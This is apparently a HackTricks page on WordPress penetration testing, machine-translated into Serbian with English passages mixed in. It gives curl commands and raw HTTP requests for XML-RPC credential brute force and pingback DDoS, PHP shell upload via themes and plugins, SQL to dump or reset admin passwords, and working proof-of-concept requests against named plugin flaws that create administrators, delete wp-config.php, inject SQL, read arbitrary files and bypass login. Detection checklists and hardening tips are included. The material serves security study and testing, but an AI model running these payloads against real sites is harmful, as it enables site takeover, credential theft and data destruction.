Wordpress

Reading time: 32 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

  • Uploaded files go to: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Themes files can be found in /wp-content/themes/, pa ako izmenite neki php teme da biste dobili RCE verovatno ćete koristiti taj put. Na primer: Koristeći theme twentytwelve možete access fajl 404.php na: /wp-content/themes/twentytwelve/404.php

  • Another useful url could be: /wp-content/themes/default/404.php

  • U wp-config.php možete naći root lozinku baze podataka.

  • Podrazumevani login putevi za proveru: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Glavni WordPress fajlovi

  • index.php
  • license.txt sadrži korisne informacije kao što je verzija WordPress koja je instalirana.
  • wp-activate.php se koristi za email aktivacioni proces prilikom podešavanja novog WordPress sajta.
  • Login folderi (mogu biti preimenovani da bi se sakrili):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php je fajl koji predstavlja funkcionalnost WordPress-a koja omogućava prenos podataka koristeći HTTP kao transportni mehanizam i XML kao encoding mehanizam. Ova vrsta komunikacije je zamenjena WordPress REST API.
  • Folder wp-content je glavni direktorijum gde se čuvaju plugins i themes.
  • wp-content/uploads/ je direktorijum gde se čuvaju fajlovi otpremljeni na platformu.
  • wp-includes/ je direktorijum gde se nalaze core fajlovi, kao što su certificates, fonts, JavaScript fajlovi i widgets.
  • wp-sitemap.xml U Wordpress verzijama 5.5 i novijim, WordPress generiše sitemap XML fajl sa svim javnim postovima i javno queryable post tipovima i taksonomijama.

Post exploitation

  • Fajl wp-config.php sadrži informacije potrebne WordPress-u za konekciju sa bazom podataka kao što su ime baze, host baze, korisničko ime i lozinka, authentication keys i salts, i prefix tabela baze. Ovaj konfiguracioni fajl se takođe može koristiti za aktiviranje DEBUG moda, što može biti korisno pri otklanjanju problema.

Dozvole korisnika

  • Administrator
  • Editor: Objavljuje i upravlja svojim i tuđim postovima
  • Author: Objavljuje i upravlja sopstvenim postovima
  • Contributor: Piše i upravlja svojim postovima ali ne može da ih objavi
  • Subscriber: Pregleda postove i uređuje svoj profil

Pasivna enumeracija

Dobijanje verzije WordPress-a

Proverite da li možete pronaći fajlove /license.txt ili /readme.html

U izvornom kodu stranice (primer sa https://wordpress.org/support/article/pages/):

  • grep
bash
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS link fajlovi

  • JavaScript fajlovi

Preuzmi dodatke

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Preuzimanje tema

bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Izdvajanje verzija uopšteno

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Aktivna enumeracija

Dodaci i teme

Verovatno nećete moći da pronađete sve plugine i teme koje su moguće. Da biste otkrili sve, moraćete da aktivno Brute Force-ujete listu plugina i tema (nadamo se da postoje automatizovani alati koji sadrže te liste).

Korisnici

  • ID Brute: Dobijate validne korisnike sa WordPress sajta Brute Forcing-om ID-eva korisnika:
bash
curl -s -I -X GET http://blog.example.com/?author=1

Ako su odgovori 200 ili 30X, to znači da je id važeći. Ako je odgovor 400, id je nevažeći.

  • wp-json: Takođe možete pokušati da dobijete informacije o korisnicima upitom:
bash
curl http://blog.example.com/wp-json/wp/v2/users

Još jedan /wp-json/ endpoint koji može otkriti neke informacije o korisnicima je:

bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Imajte na umu da ovaj endpoint izlaže samo korisnike koji su kreirali post. Biće pružene samo informacije o korisnicima koji imaju ovu funkciju omogućenu.

Takođe imajte na umu da /wp-json/wp/v2/pages može leak IP adrese.

  • Login username enumeration: Kada se logujete na /wp-login.php, poruka se razlikuje i ukazuje da li korisničko ime postoji ili ne.

XML-RPC

Ako je xml-rpc.php aktivan, možete izvršiti credentials brute-force ili ga koristiti za pokretanje DoS napada na druge resurse. (Ovaj proces možete automatizovati, na primer using this).

Da biste proverili da li je aktivan, pokušajte da pristupite /xmlrpc.php i pošaljite ovaj zahtev:

Provera

html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories ili metaWeblog.getUsersBlogs su neki od metoda koji se mogu koristiti za brute-force credentials. Ako pronađete bilo koji od njih, možete poslati nešto poput:

html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Poruka "Incorrect username or password" u odgovoru sa kodom 200 treba да се појави ако credentials nisu validni.

Koristeći ispravne credentials možete otpremiti fajl. U odgovoru će se pojaviti putanja (https://gist.github.com/georgestephanis/5681982)

html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Takođe postoji brži način da izvršite brute-force nad credentials koristeći system.multicall, jer možete probati više credentials u istom zahtevu:

Bypass 2FA

Ova metoda je namenjena programima, ne ljudima, i zastarela je, zato ne podržava 2FA. Dakle, ako imate valid creds ali je glavni pristup zaštićen 2FA, možda ćete moći da zloupotrebite xmlrpc.php da se prijavite tim creds zaobilazeći 2FA. Imajte na umu da nećete moći da izvršite sve akcije koje možete iz konzole, ali možda ćete ipak uspeti da dođete do RCE kao što Ippsec objašnjava u https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS or port scanning

Ako možete naći metodu pingback.ping u listi, možete naterati Wordpress da pošalje proizvoljan zahtev na bilo koji host/port.
Ovo se može iskoristiti da se zamoli thousands of Wordpress sites da access jednu location (tako se u toj lokaciji izaziva DDoS) ili možete iskoristiti da naterate Wordpress lo scan neki interni network (možete navesti bilo koji port).

html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Ako dobijete faultCode sa vrednošću većom od 0 (17), to znači da je port otvoren.

Pogledajte upotrebu system.multicall u prethodnom odeljku da biste naučili kako zloupotrebiti ovu metodu za DDoS.

DDoS

html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Ovaj fajl obično postoji u root direktorijumu Wordpress sajta: /wp-cron.php
Kada se ovaj fajl pristupi, izvršava se "težak" MySQL upit, pa ga napadači mogu iskoristiti da izazovu DoS.
Takođe, podrazumevano, wp-cron.php se poziva pri svakom učitavanju stranice (kad god klijent zatraži bilo koju Wordpress stranicu), što na sajtovima sa velikim saobraćajem može izazvati probleme (DoS).

Preporučuje se onemogućiti Wp-Cron i kreirati pravi cronjob na hostu koji će u redovnim intervalima izvršavati potrebne akcije (bez izazivanja problema).

/wp-json/oembed/1.0/proxy - SSRF

Pokušajte pristupiti https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net i Worpress sajt može poslati zahtev prema vama.

This is the response when it doesn't work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

Ovaj alat proverava da li postoji methodName: pingback.ping i putanja /wp-json/oembed/1.0/proxy i, ako postoje, pokušava da ih iskoristi.

Automatski alati

bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Dobijanje pristupa prepisivanjem bita

Više radoznalost nego stvarni napad. U CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man mogao si preokrenuti 1 bit u bilo kojoj wordpress datoteci. Tako si mogao preokrenuti bit na poziciji 5389 fajla /var/www/html/wp-includes/user.php i pretvoriti NOT (!) u NOP.

php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Modifying a php from the theme used (potrebni administratorski kredencijali)

Izgled → Uređivač teme → 404 Template (sa desne strane)

Zamenite sadržaj php shell-om:

Potražite na internetu kako da pristupite toj ažuriranoj stranici. U ovom slučaju treba da pristupite ovde: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Možete koristiti:

bash
use exploit/unix/webapp/wp_admin_shell_upload

da biste dobili sesiju.

Plugin RCE

PHP plugin

Može biti moguće otpremiti .php fajlove kao plugin.
Kreirajte svoj PHP backdoor koristeći na primer:

Zatim dodajte novi plugin:

Otpremite plugin i pritisnite Install Now:

Kliknite na Procced:

Verovatno ovo naizgled neće ništa uraditi, ali ako odete u Media, videćete svoj shell koji je otpremljen:

Pristupite mu i videćete URL za izvršavanje reverse shell-a:

Uploading and activating malicious plugin

Ovaj metod podrazumeva instalaciju malicioznog plugina za koji je poznato da je ranjiv i koji se može iskoristiti za dobijanje web shell-a. Ovaj proces se izvodi kroz WordPress dashboard na sledeći način:

  1. Nabavka plugina: Plugin se dobija iz izvora kao što je Exploit DB kao here.
  2. Instalacija plugina:
  • Idite na WordPress dashboard, zatim na Dashboard > Plugins > Upload Plugin.
  • Otpremite zip fajl skinutog plugina.
  1. Plugin Activation: Nakon što je plugin uspešno instaliran, mora biti aktiviran kroz dashboard.
  2. Exploitation:
  • Sa instaliranim i aktiviranim pluginom "reflex-gallery" može biti iskorišćen jer je poznato da je ranjiv.
  • Metasploit framework pruža an exploit za ovu ranjivost. Učitavanjem odgovarajućeg modula i izvršavanjem specifičnih komandi može se uspostaviti meterpreter sesija, što daje neautorizovan pristup sajtu.
  • Napominje se da je ovo samo jedan od mnogih metoda za iskorišćavanje WordPress sajta.

Sadržaj uključuje vizuelne prikaze koraka u WordPress dashboard-u za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da iskorišćavanje ranjivosti na ovaj način predstavlja protivpravnu i neetičku radnju bez odgovarajuće autorizacije. Ove informacije treba koristiti odgovorno i samo u pravnom okviru, poput penetration testing-a sa izričitom dozvolom.

Za detaljnije korake pogledajte: https://www.hackingarticles.in/wordpress-reverse-shell/

From XSS to RCE

  • WPXStrike: WPXStrike je skripta dizajnirana da eskalira Cross-Site Scripting (XSS) ranjivost u Remote Code Execution (RCE) ili druge kritične ranjivosti u WordPress-u. Za više informacija pogledajte this post. Pruža support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. i omogućava:
  • Privilege Escalation: Kreira korisnika u WordPress-u.
  • (RCE) Custom Plugin (backdoor) Upload: Otpremite svoj custom plugin (backdoor) u WordPress.
  • (RCE) Built-In Plugin Edit: Izmenite Built-In plugine u WordPress-u.
  • (RCE) Built-In Theme Edit: Izmenite Built-In teme u WordPress-u.
  • (Custom) Custom Exploits: Custom exploits za third-party WordPress plugine/teme.

Post Exploitation

Ekstrahujte korisnička imena i lozinke:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Promeni administratorsku lozinku:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Pentest Wordpress pluginova

Površina napada

Razumevanje kako Wordpress plugin može izložiti funkcionalnost je ključno za pronalaženje ranjivosti u toj funkcionalnosti. Možete videti na koji način plugin može izložiti funkcionalnost u sledećim tačkama i nekoliko primera ranjivih pluginova u this blog post.

  • wp_ajax

Jedan od načina na koji plugin može izložiti funkcije korisnicima je putem AJAX handlera. Ovi handleri mogu sadržati greške u logici, autorizaciji ili autentifikaciji. Štaviše, često je da će ove funkcije zasnivati i autentifikaciju i autorizaciju na postojanju WordPress nonce-a koji bilo koji autentifikovani korisnik u WordPress instanci može imati (bez obzira na ulogu).

Ovo su funkcije koje se mogu koristiti da izlože funkciju u pluginu:

php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

Korišćenje nopriv čini endpoint dostupnim svim korisnicima (čak i neautentifikovanim).

caution

Štaviše, ako funkcija samo proverava autorizaciju korisnika pomoću funkcije wp_verify_nonce, ta funkcija samo proverava da li je korisnik ulogovan, obično ne proverava ulogu korisnika. Zato korisnici sa niskim privilegijama mogu imati pristup akcijama sa visokim privilegijama.

  • REST API

Takođe je moguće izložiti funkcije iz wordpress registracijom REST API-ja koristeći funkciju register_rest_route:

php
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

The permission_callback je callback funkcija koja proverava da li je dati korisnik ovlašćen da pozove API metodu.

Ako se koristi ugrađena funkcija __return_true, jednostavno će preskočiti proveru korisničkih dozvola.

  • Direct access to the php file

Naravno, Wordpress koristi PHP i fajlovi unutar pluginova su direktno dostupni preko weba. Dakle, ako plugin izlaže bilo koju ranjivu funkcionalnost koja se aktivira samo pristupom fajlu, to će biti iskoristivo od strane svakog korisnika.

Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)

Some plugins implement “trusted header” shortcuts for internal integrations or reverse proxies and then use that header to set the current user context for REST requests. If the header is not cryptographically bound to the request by an upstream component, an attacker can spoof it and hit privileged REST routes as an administrator.

  • Impact: neautentifikovano eskaliranje privilegija do admina kreiranjem novog administratora putem core users REST route.
  • Example header: X-Wcpay-Platform-Checkout-User: 1 (forces user ID 1, typically the first administrator account).
  • Exploited route: POST /wp-json/wp/v2/users with an elevated role array.

PoC

http
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Zašto funkcioniše

  • Plugin preslikava header koji kontroliše klijent na authentication state i preskače capability checks.
  • WordPress core očekuje create_users capability za ovu rutu; plugin hack ga zaobilazi direktnim postavljanjem konteksta trenutnog korisnika iz header-a.

Očekivani indikatori uspeha

  • HTTP 201 sa JSON telom koje opisuje kreiranog korisnika.
  • Novi admin korisnik vidljiv u wp-admin/users.php.

Kontrolna lista za detekciju

  • Grep za getallheaders(), $_SERVER['HTTP_...'], ili vendor SDKs koji čitaju custom headers da bi postavili user context (npr. wp_set_current_user(), wp_set_auth_cookie()).
  • Pregled REST registracija za privilegovane callbacks koji nemaju robusne permission_callback provere i umesto toga se oslanjaju na request headers.
  • Traži upotrebe core user-management funkcija (wp_insert_user, wp_create_user) unutar REST handlera koje su ograničene samo vrednostima header-a.

Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)

WordPress themes and plugins frequently expose AJAX handlers through the wp_ajax_ and wp_ajax_nopriv_ hooks. When the nopriv variant is used callback postaje dostupan neautentifikovanim posetiocima, so any sensitive action must additionally implement:

  1. A capability check (e.g. current_user_can() or at least is_user_logged_in()), i
  2. A CSRF nonce validated with check_ajax_referer() / wp_verify_nonce(), i
  3. Strict input sanitisation / validation.

The Litho multipurpose theme (< 3.1) forgot those 3 controls in the Remove Font Family feature and ended up shipping the following code (simplified):

php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

Problemi uvedeni ovim isječkom:

  • Unauthenticated access – registrovan je hook wp_ajax_nopriv_.
  • No nonce / capability check – bilo koji posetilac može da pozove endpoint.
  • No path sanitisation – string fontfamily koji kontroliše korisnik se konkatenira u putanju fajl sistema bez filtriranja, omogućavajući klasičan ../../ traversal.

Eksploatacija

Napadač može obrisati bilo koji fajl ili direktorijum ispod osnovnog uploads direktorijuma (obično <wp-root>/wp-content/uploads/) slanjem jednog HTTP POST zahteva:

bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).

Drugi značajni ciljevi uključuju plugin/tema .php fajlove (npr. za onemogućavanje security plugin-a) ili .htaccess pravila.

Detection checklist

  • Bilo koji add_action( 'wp_ajax_nopriv_...') callback koji poziva filesystem helper-e (copy(), unlink(), $wp_filesystem->delete(), itd.).
  • Konkatenacija nesanitizovanih korisničkih ulaza u puteve (tražite $_POST, $_GET, $_REQUEST).
  • Nedostatak check_ajax_referer() i current_user_can()/is_user_logged_in().

Povišenje privilegija putem vraćanja zastarelih uloga i nedostatka autorizacije (ASE "View Admin as Role")

Mnogi plugin-i implementiraju "view as role" ili privremenu promenu uloge tako što sačuvaju originalnu ulogu/e u user meta kako bi ih mogli vratiti kasnije. Ako se put vraćanja oslanja samo na request parametre (npr. $_REQUEST['reset-for']) i na listu koju održava plugin, bez provere capabilities i važećeg nonce-a, to postaje vertikalno povišenje privilegija.

Primer iz realnog sveta je pronađen u Admin and Site Enhancements (ASE) plugin-u (≤ 7.6.2.1). Reset grana je vraćala uloge na osnovu reset-for=<username> ako je korisničko ime postojalo u internom nizu $options['viewing_admin_as_role_are'], ali nije izvršila ni current_user_can() proveru ni nonce verifikaciju pre uklanjanja trenutnih uloga i ponovnog dodavanja sačuvanih uloga iz user meta _asenha_view_admin_as_original_roles:

php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

Zašto je iskorišćivo

  • Veruje $_REQUEST['reset-for'] i opciji plugina bez autorizacije na strani servera.
  • Ako je korisnik ranije imao više privilegija sačuvanih u _asenha_view_admin_as_original_roles i bio je degradiran, može ih vratiti tako što će pristupiti putanji za reset.
  • U nekim instalacijama, bilo koji autentifikovani korisnik može pokrenuti reset za drugo korisničko ime koje je još uvek prisutno u viewing_admin_as_role_are (pokvarena autorizacija).

Eksploatacija (primer)

bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

Na ranjivim verzijama ovo uklanja trenutne role i ponovo dodaje sačuvane originalne role (npr. administrator), efektivno eskalirajući privilegije.

Detection checklist

  • Potražite funkcije za prebacivanje role koje čuvaju “izvorne role” u user meta (npr. _asenha_view_admin_as_original_roles).
  • Identifikujte reset/restore putanje koje:
    • Čitaju korisnička imena iz $_REQUEST / $_GET / $_POST.
    • Modifikuju role preko add_role() / remove_role() bez current_user_can() i wp_verify_nonce() / check_admin_referer().
    • Autorizuju na osnovu niza opcija plugina (npr. viewing_admin_as_role_are) umesto na sposobnostima aktera.

Neki pluginovi povezuju pomoćnike za prebacivanje korisnika na javni init hook i izvode identitet iz cookie-ja koji kontroliše klijent. Ako kod poziva wp_set_auth_cookie() bez provere autentikacije, capability i važećeg nonce-a, bilo koji neautentifikovani posetilac može prisiliti prijavu kao proizvoljan ID korisnika.

Tipičan ranjiv obrazac (pojednostavljeno iz Service Finder Bookings ≤ 6.1):

php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

Zašto je moguće iskoristiti

  • Javni init hook čini handler dostupan neautentifikovanim korisnicima (nema is_user_logged_in() provere).
  • Identitet potiče iz cookie-ja koji klijent može izmeniti (original_user_id).
  • Direktan poziv wp_set_auth_cookie($uid) uloguje zahtevaoca kao tog korisnika bez bilo kakvih capability/nonce provera.

Eksploatacija (bez autentifikacije)

http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

WAF razmatranja za WordPress/plugin CVEs

Generički edge/server WAF-ovi su podešeni za široke obrasce (SQLi, XSS, LFI). Mnoge visokog uticaja WordPress/plugin ranjivosti su greške u logici/auth specifične za aplikaciju koje izgledaju kao benigni saobraćaj osim ako engine ne razume WordPress rute i semantiku plugin-ova.

Ofanzivne napomene

  • Ciljajte plugin-specifične endpoints sa clean payloads: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • Prvo testirajte unauth paths (AJAX nopriv, REST sa permissive permission_callback, public shortcodes). Default payloads često uspevaju bez obfuscation.
  • Tipični slučajevi visokog uticaja: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.

Odbrambene napomene

  • Ne oslanjajte se na generičke WAF signatures da zaštite plugin CVE-ove. Implementirajte application-layer, vulnerability-specific virtual patches ili brzo ažurirajte.
  • Preferirajte positive-security provere u kodu (capabilities, nonces, strict input validation) umesto negative regex filtera.

Zaštita WordPress-a

Redovna ažuriranja

Uverite se da su WordPress, plugins i themes ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php:

bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Takođe, instalirajte samo pouzdane WordPress pluginove i teme.

Sigurnosni pluginovi

Ostale preporuke

  • Uklonite podrazumevanog admin korisnika
  • Koristite jake lozinke i 2FA
  • Periodično pregledajte dozvole korisnika
  • Ograničite broj pokušaja prijave da biste sprečili Brute Force napade
  • Preimenujte fajl wp-admin.php i dozvolite pristup samo interno ili sa određenih IP adresa.

Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)

WP Job Portal recruitment plugin je izložio zadatak savecategory koji na kraju izvršava sledeći ranjivi kod u modules/category/model.php::validateFormData():

php
$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

Problemi uvedeni ovim isječkom:

  1. Nesanitizovani korisnički unosparentid dolazi direktno iz HTTP zahteva.
  2. Spajanje stringova unutar WHERE klauzule – nema is_numeric() / esc_sql() / pripremljenog upita.
  3. Neautentifikovan pristup – iako se akcija izvršava kroz admin-post.php, jedina provera koja postoji je a CSRF nonce (wp_verify_nonce()), koji bilo koji posetilac može preuzeti sa javne stranice koja ubacuje shortcode [wpjobportal_my_resumes].

Eksploatacija

  1. Preuzmi novi nonce:
bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. Injektuj proizvoljan SQL zloupotrebom parentid:
bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

Odgovor otkriva rezultat injektovanog upita ili menja bazu podataka, dokazujući SQLi.

Neautentifikovano Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)

Još jedan zadatak, downloadcustomfile, je omogućavao posetiocima da preuzmu bilo koji fajl na disku putem path traversal-a. Ranljiv sink se nalazi u modules/customfield/model.php::downloadCustomUploadedFile():

php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name je pod kontrolom napadača i konkateniran bez sanitizacije. Ponovo, jedina prepreka je CSRF nonce koji se može dohvatiti sa stranice rezimea.

Eksploatacija

bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

The server responds with the contents of wp-config.php, leaking DB credentials and auth keys.

Preuzimanje naloga bez autentifikacije preko Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)

Mnogo tema/plugina sadrži "social login" pomoćnike izložene putem admin-ajax.php. Ako neautentifikovana AJAX akcija (wp_ajax_nopriv_...) veruje identifikatorima koje šalje klijent kada podaci provajdera nedostaju i zatim pozove wp_set_auth_cookie(), to postaje potpuni zaobilaženje autentifikacije.

Tipičan pogrešan obrazac (pojednostavljeno)

php
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb':     /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token   */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}

// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');

if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}

$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);

Zašto je iskorištivo

  • Pristup bez autentifikacije preko admin-ajax.php (wp_ajax_nopriv_… action).
  • Nema provere nonce/capability pre promene stanja.
  • Nedostaje verifikacija OAuth/OpenID providera; default branch prihvata ulaz od napadača.
  • get_user_by('email', $_POST['id']) praćeno wp_set_auth_cookie($uid) autentifikuje podnosioca zahteva kao bilo koju postojeću email adresu.

Eksploatacija (neautentifikovano)

  • Preduslovi: napadač može da dosegne /wp-admin/admin-ajax.php i zna/pogađa važeću korisničku email adresu.
  • Podesite provider na nepodržanu vrednost (ili ga izostavite) da biste pogodili default branch i prosledili id=<victim_email>.
http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded

action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
bash
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"

Expected success indicators

  • HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
  • Set-Cookie: wordpress_logged_in_* za korisnika žrtve; naredni zahtevi su autentifikovani.

Finding the action name

  • Pregledajte temu/plugin za add_action('wp_ajax_nopriv_...', '...') registracije u kodu za social login (npr. framework/add-ons/social-login/class-social-login.php).
  • Grep za wp_set_auth_cookie(), get_user_by('email', ...) unutar AJAX handlera.

Detection checklist

  • Web logovi koji pokazuju neautentifikovane POST-ove na /wp-admin/admin-ajax.php sa social-login akcijom i id=.
  • 200 odgovori sa success JSON-om koji odmah prethode autentifikovanom saobraćaju sa iste IP/User-Agent.

Hardening

  • Ne izvlačite identitet iz klijentskog unosa. Prihvatati samo emailove/ID-e koji potiču iz validiranog tokena/ID-a provajdera.
  • Zahtijevajte CSRF nonces i provere privilegija čak i za pomoćnike za prijavu; izbegavajte registraciju wp_ajax_nopriv_ osim ako nije strogo neophodno.
